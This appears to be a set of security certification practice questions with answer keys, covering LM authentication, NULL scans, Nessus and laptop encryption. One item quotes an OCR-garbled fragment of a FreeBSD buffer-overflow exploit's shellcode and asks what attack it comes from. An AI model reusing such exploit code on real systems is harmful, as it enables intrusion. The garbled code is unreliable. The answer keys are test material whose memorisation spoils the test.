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QUESTION 1

LM authentication is not as strong as Windows NT authentication so you may want to disable its use, because an
attacker eavesdropping on network traffic will attack the weaker protocol. A successful attack can compromise the

user\\'s password.

How do you disable LM authentication in Windows XP?

A. Stop the LM service in Windows XP

B. Disable LSASS service in Windows XP

C. Disable LM authentication in the registry

D. Download and install LMSHUT.EXE tool from Microsoft website

Correct Answer: C

QUESTION 2

The following exploit code is extracted from what kind of attack?

#define MAKE_STR_FROM_RET(x) ({x)&0xff), ({(x)&0xff00)8),
(((x)%0xFf0000)16), {(((x)&0xFODDDDD)24)

char infin_loop[]=

f* for testing purposes */

"\ EB\®FE";

char bsdcode[] =

F* Lam3r?f chroot() code rewritten for FreeBSD by venglin #/

"I LN KeD A\ x50\ x50\ x50\ b0\ x7e\xcd\ »B0\x 31\ xdb\x31\ »cOY\ x43"
"y 3N I\ Kb\ k3N KT\ kbO\ kSa\ xod A\ B0\ xeb\ 7 7\ x5e\®3 1\ xcOo"
"W xB8dyxoe\x01\ kB8 \ x40\ x04\ ko6 \ ko8 \ ki xF\ =01\ %53\ x53 xb0O"
"y xB88 Y\ xod\ B0\ kI 1\ O\ R Bd\ x5e\®01\x53\x 53\ »b0\x3d\ »cd\ 80"
"y xI LN Ko\ xI 1\ Rdb\ xBd\ x5e\ 08\ B9\ X433\ 02\ I 1\ P\ kfe\ xca"
"IN oD\ KBdY\ x5e\ KO0BY\ x53\ xI3\ xbD\ x0c\ xcd\ x80\ xfe\ xcO\ & 75"
"y 1AW x3 1\ ke A\ B8\ K46\ KO0\ KBd\ o\ kOB \ k53 \ vD 3\ kb D\ x3d\ xod"
"W w80y xfe\x0e\ kb0 R30\ ke B\ B8\ n46 \ 04\ ® 31\ wcO\ w838\ w4a6"
"y x074xBO\ 70408\ kB9 x40\ x0c\ xB9\ xf3\ xBd\ x4e \ k0B \ xBd \ x56"
"0\ x52N\ x5 1\ %53\ 53\ xb0\ x3b\ xcd\ B0\ x 31\ »xcO\ =31\ wdby\x 53"
"W x5\ xb0\ k0 1\ xod\ B0\ e\ B4\ P\ wf\ v\ P\ =01\ i\ i\ = 30"
"y HO24 OO\ KoeYW K30\ KTV KO8 K31\ K2e\ K2e\ K31\ k3 1\ 70\ KO0\ x6e"
"\ xB67Yy 6 k69 w6e”; static int magic[MAX_MAGIC], magic_d[MAX_MAGIC];
static char *magic_str=NULL;

int before_len=0;

char *target=NULL, *username="user", *¥password=~NULL;

struct targets getit;

A. Remote password cracking attack

B. SQL Injection
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C. Distributed Denial of Service
D. Cross Site Scripting
E. Buffer Overflow

Correct Answer: E

QUESTION 3

What is the proper response for a NULL scan if the port is open?
A. SYN

B. ACK

C.FIN

D. PSH

E. RST

F. No response

Correct Answer: F

QUESTION 4

Which of the following is an automated vulnerability assessment tool?
A. Whack a Mole

B. Nmap

C. Nessus

D. Kismet

E. Jill32

Correct Answer: C

QUESTION 5

What is the most secure way to mitigate the theft of corporate information from a laptop that was left in a hotel room?
A. Set a BIOS password.

B. Encrypt the data on the hard drive.

C. Use a strong logon password to the operating system.
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D. Back up everything on the laptop and store the backup in a safe place.

Correct Answer: B
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